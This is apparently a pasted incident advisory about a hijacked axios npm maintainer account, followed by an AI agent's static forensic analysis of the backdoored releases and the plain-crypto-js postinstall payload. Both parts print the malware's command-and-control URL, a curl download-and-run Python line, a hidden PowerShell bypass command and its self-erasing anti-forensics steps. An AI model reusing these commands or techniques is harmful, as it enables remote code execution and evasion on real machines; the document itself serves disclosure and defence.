
@npmjs @GHSecurityLab there is an active supply chain attack on axios@1.14.1 which pulls in a malicious package published today - plain-crypto-js@4.2.1 - someone took over a maintainer account for Axios Skip to content Search Gists All gistsBack to GitHub Sign inSign up Instantly share code, notes, and snippets. joe-desimone/axios_compromise.md Secret Created 53 minutes ago CodeRevisions1 Clone this repository at <script src="https://gist.github.com/joe-desimone/36061dabd2bc2513705e0d083a9673e7.js"></script> axios_compromise.md Summary The npm maintainer account jasonsaayman on the axios package has been compromised. The attacker has published malicious versions of axios and a new typosquat payload package plain-crypto-js. Two dist-tags currently point to compromised versions: latest -> 1.14.1 and legacy -> 0.30.4. Every npm install axios pulls the backdoored package. Immediate actions requested Unpublish axios@1.14.1 and axios@0.30.4 Unpublish plain-crypto-js (all versions: 4.2.0, 4.2.1) Lock the jasonsaayman npm account — credentials are compromised Restore the latest dist-tag to axios@1.14.0 (the last legitimate release) Restore the legacy dist-tag to axios@0.30.3 (the last legitimate 0.30.x release) Affected packages PackageVersionStatusaxios1.14.1Malicious — currently tagged latestaxios0.30.4Malicious — currently tagged legacyplain-crypto-js4.2.0, 4.2.1Malicious — payload delivery vehicle (postinstall backdoor)axios1.14.0Last known legitimate release (1.x line)axios0.30.3Last known legitimate release (0.30.x line) Evidence of account compromise The jasonsaayman maintainer email was changed from the legitimate jasonsaayman@gmail.com (visible on axios@1.14.0 and all prior versions) to ifstap@proton.me (visible on axios@1.14.1 and axios@0.30.4). axios@1.14.0 (legitimate — last good 1.x release): Published: 2026-03-27T19:01:40Z Published by: GitHub Actions via OIDC trusted publisher _npmUser: {"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:9061ef30-3132-49f4-b28c-9338d192a1a9"}} Has SLSA provenance attestations Dependencies: form-data, proxy-from-env, follow-redirects (no plain-crypto-js) axios@0.30.3 (legitimate — last good 0.30.x release): Published: 2026-02-18T17:19:20Z Published by: jasonsaayman / jasonsaayman@gmail.com Dependencies: form-data, proxy-from-env, follow-redirects (no plain-crypto-js) axios@1.14.1 (compromised): Published: 2026-03-31T00:21:58Z Published by: jasonsaayman / ifstap@proton.me — direct CLI publish, no OIDC, no provenance attestations Dependencies include plain-crypto-js@^4.2.1 (the only change from 1.14.0's dependency list) axios@0.30.4 (compromised): Published: 2026-03-31T01:00:57Z (~39 minutes after 1.14.1) Published by: jasonsaayman / ifstap@proton.me The ONLY difference from the legitimate 0.30.3 is: version bump and addition of plain-crypto-js@^4.2.1 to dependencies (all other files including bin/ssl_hotfix.js are byte-identical to 0.30.3) Technical analysis of the payload Delivery chain axios@1.14.1 or axios@0.30.4 declares plain-crypto-js@^4.2.1 as a dependency plain-crypto-js has "postinstall": "node setup.js" in its package.json setup.js is a heavily obfuscated multi-platform backdoor installer Decoded payload behavior (setup.js) The obfuscation uses XOR + base64 with the key "OrDeR_7077". Decoded strings reveal: C2 server: http://sfrclak.com:8000/ Campaign ID: 6202033 On macOS (darwin): Downloads a binary via curl to /Library/Caches/com.apple.act.mond (disguised as an Apple system daemon) POST body: packages.npm.org/product0 Makes executable (chmod 770) and runs in background via /bin/zsh Launched through osascript (AppleScript) for process-tree evasion On Windows (win32): Copies PowerShell to %PROGRAMDATA%\wt.exe (masquerading as Windows Terminal) Creates a VBScript (.vbs) that: Downloads a .ps1 payload from the C2 Runs it hidden: wt.exe -w hidden -ep bypass -file <payload>.ps1 Deletes the .ps1 after execution Launches VBScript silently via cscript //nologo, then deletes it On Linux (fallback): Downloads curl -o /tmp/ld.py from the C2 Runs python3 /tmp/ld.py in background via nohup Anti-forensics: setup.js deletes itself after execution Renames package.md to package.json, overwriting the malicious package.json (with the postinstall hook) with a clean copy, so post-incident inspection of node_modules/plain-crypto-js/package.json will not show the trigger Decoded string table from setup.js stq[0]: "child_process" stq[1]: "os" stq[2]: "fs" stq[3]: "http://sfrclak.com:8000/" stq[5]: "win32" stq[6]: "darwin" stq[7]: VBScript payload (Windows attack vector) stq[8]: "cscript \"LOCAL_PATH\" //nologo && del \"LOCAL_PATH\" /f" stq[9]: AppleScript payload (macOS attack vector) stq[10]: "nohup osascript \"LOCAL_PATH\" > /dev/null 2>&1 &" stq[12]: Linux curl + python3 payload stq[13]: "package.json" stq[14]: "package.md" stq[15]: ".exe" stq[16]: ".ps1" stq[17]: ".vbs" Impact axios is the #4 most downloaded npm package, with approximately 60 million weekly downloads. The compromised version 1.14.1 is currently the latest tag, and 0.30.4 is tagged legacy. Any CI/CD pipeline, developer workstation, or production deployment running npm install with axios as a direct or transitive dependency since 2026-03-31T00:21:58Z may have executed the stage-2 payload. Timeline (all times UTC) TimeEvent2026-02-18T17:19:20Zaxios@0.30.3 published legitimately by jasonsaayman@gmail.com2026-03-27T19:01:40Zaxios@1.14.0 published legitimately via GitHub Actions OIDC2026-03-31 (exact time unknown)plain-crypto-js@4.2.0 and 4.2.1 published (brand-new package, attacker-controlled, first publish date March 30/31, 2026)2026-03-31T00:21:58Zaxios@1.14.1 published by compromised jasonsaayman account with email ifstap@proton.me (becomes latest tag)2026-03-31T01:00:57Zaxios@0.30.4 published by same compromised account (tagged as legacy) Current dist-tags latest: 1.14.1 (COMPROMISED) legacy: 0.30.4 (COMPROMISED) old-version: 0.30.0 (legitimate) next: 1.7.0-beta.2 (legitimate) Recommendations Unpublish axios@1.14.1, axios@0.30.4, and all versions of plain-crypto-js immediately Lock the jasonsaayman npm account pending investigation Restore latest dist-tag to axios@1.14.0 Restore legacy dist-tag to axios@0.30.3 Notify the other axios maintainers (mzabriskie, nickuraltsev, emilyemorehouse) Issue a security advisory for downstream consumers Report sfrclak.com to its registrar/hosting provider for C2 takedown Thank you for your urgent attention. to join this conversation on GitHub. Already have an account? Sign in to comment Footer © 2026 GitHub, Inc. Footer navigation Terms Privacy Security Status Community Docs Contact Manage cookies Do not share my personal information dig deep clone these public repos safetly etc look at commit hisotry everything anaalyze the breach + scope + how
This is a serious supply chain incident. Let me do a thorough forensic analysis — NPM registry metadata, tarball static analysis, GitHub commit history, and payload decoding — all without executing anything malicious.
Web search doesn't have it yet — this is breaking. Let me go directly to the npm registry API and GitHub to pull the raw evidence.
CONFIRMED LIVE. Both compromised versions are still tagged latest and legacy. Now pulling plain-crypto-js registry data and downloading all tarballs.
New finding — the payload package was published by nrwise@proton.me, a separate attacker account. Two distinct attacker identities. Now downloading all tarballs for static analysis.
4.2.1 has setup.js + package.md (the self-destruct rename trick) — 4.2.0 does not. Now reading the actual payload.
Now I have the full obfuscated payload. Let me write a complete decoder to reconstruct all decoded strings.
Full string table decoded. Now decoding the inline atob() variables in _entry and reconstructing the fully assembled payloads.
Full payloads reconstructed. Now diffing the axios versions and analyzing the package.json tampering + anti-forensics trick.
Confirmed minimal surgical diff — the ONLY change in both compromised axios versions is package.json (version bump + plain-crypto-js dependency injection). Every other file is byte-identical to the legitimate release. Now analyzing the anti-forensics package.md trick and doing comprehensive checksums.
Now doing passive OSINT on the C2 domain and checking download stats.
C2 domain registered ~8 hours before the malicious plain-crypto-js@4.2.0 was published — classic attack prep timing. IP 142.11.206.73. Now checking the IP geolocation and ARIN data, then download stats.
Downloads API only lags to 2026-03-29 — the attack started at 00:21 UTC today, meaning ~6.5M+ installs/day could already be affected. Now checking the axios GitHub commit history and release tags.
Critical finding: No v1.14.1 GitHub tag or release exists — the malicious publish bypassed GitHub Actions entirely. Also jasonsaayman was active on GitHub at 18:15 UTC on March 30 — account was likely compromised in the ~6-hour window before the malicious publish. Checking the suspicious commit and the axios team's response commit.
The axios team is already responding — deprecate.yml was committed at 01:42 UTC (41 minutes after the malicious publish) with default version 1.14.1. Now checking the complete deprecate.yml workflow and verifying sha1 integrity of all packages.
SHA1 checksums match registry exactly — tarballs are authentic. Now reading the publish.yml to understand the OIDC bypass, then checking nrwise account history.
Checking @c8o/nimbus-core for tampering and examining the bin/ssl_hotfix.js that was removed the day of the attack — potentially a prior backdoor.
ssl_hotfix.js is clean — it's a legitimate OpenSSL legacy provider shim, not a backdoor. Now compiling everything into the comprehensive forensic note and saving a full analysis file.
Here's the full forensic picture — everything verified directly from npm registry, tarballs, GitHub API, and DNS. This is a real, confirmed, active incident.
Status: ACTIVE — both compromised versions are still tagged latest and legacy on npm as of this analysis.
The jasonsaayman npm maintainer account was compromised. The attacker changed the account email from jasonsaayman@gmail.com to ifstap@proton.me, then published two backdoored axios versions directly via npm CLI — bypassing the GitHub Actions OIDC trusted publisher that had been used for 1.14.0.
A second attacker-controlled account, nrwise (nrwise@proton.me), pre-staged the payload delivery package plain-crypto-js the day prior.
| 1 | 2026-03-30T05:57Z plain-crypto-js@4.2.0 published by "nrwise" — staging, no payload yet |
| 2 | 2026-03-30T16:03Z sfrclak.com domain registered via Namecheap — C2 infrastructure prepared |
| 3 | ~2026-03-30T18:15Z Last legitimate jasonsaayman GitHub commit |
| 4 | ~2026-03-30T18-23Z jasonsaayman npm account hijacked, email swapped to ifstap@proton.me |
| 5 | 2026-03-30T23:59Z plain-crypto-js@4.2.1 published — setup.js postinstall backdoor added |
| 6 | 2026-03-31T00:21Z axios@1.14.1 published via direct CLI — no GitHub tag, no OIDC, no provenance |
| 7 | 2026-03-31T01:00Z axios@0.30.4 published — same method, 39 minutes later |
| 8 | 2026-03-31T01:42Z axios team commits deprecate.yml — incident response begins |
npm install axios → resolves latest → 1.14.1 → pulls plain-crypto-js@^4.2.1 → npm postinstall runs node setup.js → platform-specific backdoor executes → setup.js self-destructs and overwrites package.json with a clean decoy.
The only difference between the compromised axios and legitimate axios: a single added line in package.json:
| 1 | + "plain-crypto-js": "^4.2.1" |
Every other source file in both 1.14.1 and 0.30.4 is byte-identical to 1.14.0/0.30.3. No v1.14.1 tag exists on GitHub — the OIDC pipeline was never triggered.
Obfuscation: XOR + base64, key "OrDeR_7077". C2: http://sfrclak.com:8000/6202033
macOS — AppleScript launched via osascript:
Downloads stage-2 binary to /Library/Caches/com.apple.act.mond (disguised as Apple daemon), chmod 770, runs via /bin/zsh
Windows — VBScript → masked PowerShell:
Copies PowerShell to %PROGRAMDATA%\wt.exe (disguised as Windows Terminal), creates a VBScript that downloads and executes a .ps1 from the C2 with -ExecutionPolicy bypass -WindowStyle hidden, then deletes all intermediaries
Linux — curl + Python:
curl -o /tmp/ld.py ... && nohup python3 /tmp/ld.py <C2_URL>
Anti-forensics: After execution — deletes setup.js, deletes the malicious package.json, renames package.md (which contains a clean decoy package.json with version 4.2.0 and no scripts section) into place. Post-infection node_modules/plain-crypto-js/ shows zero evidence.
142.11.206.73 — Hostwinds LLC (AS54290), Dallas TXsfrclak.com — Namecheap, registered 2026-03-30T16:03:46Z (8 hours before first malicious package)http://sfrclak.com:8000/6202033abuse@namecheap.com, Hostwinds abuseNetwork: 142.11.206.73, sfrclak.com, http://sfrclak.com:8000/6202033
Files — macOS: /Library/Caches/com.apple.act.mond
Files — Windows: %PROGRAMDATA%\wt.exe, %TEMP%\6202033.vbs, %TEMP%\6202033.ps1
Files — Linux: /tmp/ld.py
Package SHA1 (npm shasum):
axios@1.14.1 → 2553649f2322049666871cea80a5d0d6adc700caaxios@0.30.4 → d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71plain-crypto-js@4.2.1 → 07d889e2dadce6f3910dcbc253317d28ca61c766~100 million downloads per week, ~6.5 million per day from the last available stats period. The true transitive impact is substantially higher — axios is a direct dependency of hundreds of thousands of other npm packages. Any CI/CD system, developer workstation, or container build that ran npm install or npm ci after 2026-03-31T00:21Z with a non-pinned axios reference is potentially affected.
npm's OIDC trusted publisher is advisory, not enforced. A maintainer holding valid CLI credentials can always publish directly with npm publish, bypassing provenance entirely. The publish.yml workflow only triggers on v1.*.* GitHub tags — the 0.30.x line was never migrated to OIDC — making 0.30.4 trivially publishable.
If you maintain dependencies:
axios@1.14.0 or axios@0.30.3 immediatelynode_modules/ + package-lock.json, reinstall clean2026-03-31T00:21ZIf a system may have been hit:
Full report saved to: /workspace/axios-forensics/analysis/FULL_FORENSIC_REPORT.md
Powered by Strix